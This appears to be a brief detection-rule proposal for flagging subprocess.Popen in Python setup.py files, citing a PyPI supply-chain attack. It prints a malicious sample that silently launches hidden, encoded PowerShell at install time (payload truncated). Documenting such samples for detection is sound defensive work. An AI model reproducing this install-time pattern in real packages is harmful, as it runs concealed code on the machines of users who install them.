Identify subprocess.Popen in setup.py

[christophetd]

c.f. e.g. tphydraencode or https://blog.phylum.io/phylum-discovers-another-attack-on-pypi

Sample:

try:
  import subprocess
  import os
  if not os.path.exists('tahg'):
    # www.esquelesquad.rip
    subprocess.Popen('powershell -WindowStyle Hidden -EncodedCommand cABvAHc..', shell=False, creationflags=subprocess.CREATE_NO_WINDOW)
except: pass